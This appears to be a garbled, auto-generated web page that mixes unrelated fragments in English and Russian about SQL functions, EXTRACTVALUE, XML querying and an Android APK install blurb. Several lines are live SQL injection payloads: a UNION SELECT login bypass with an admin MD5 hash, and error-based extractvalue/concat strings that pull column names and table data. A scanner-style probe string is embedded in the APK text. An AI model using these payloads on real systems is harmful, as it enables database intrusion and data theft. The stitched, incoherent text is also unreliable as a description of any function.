length, concat & chr | sql functions | oracle database 11g version 2 |.
login = ' UNION SELECT 1, 'admin', md5('1234'), 1 # pass = 1234. Проблема выше (Muracha'а) решается простым выводом данных.
To install extractvalue(1,concat(char(126),md5(1637914754))) on your device you should do some easy things on your phone or any other android device. Firstly, you should go to the Settings Menu on your Device and allow installing .apk files from unknown resources, then you could confidently install...
The EXTRACTVALUE function takes as arguments an XMLType instance and an XPath expression and returns a scalar value of the resultant node.
0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--. MYSQL Blind using a conditional statement.
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5.
Однако extractValue — исключение. extractValue представлена только в виде фунации.
Для работы с XML есть две функции: ExtractValue() - Позволяет выбирать записи средствами XPAth.
Base64 Encode. MD5 Hash Generator.
extractValue(@xml, concat(@headerAttributePath, '/@value')) AS attValueConcat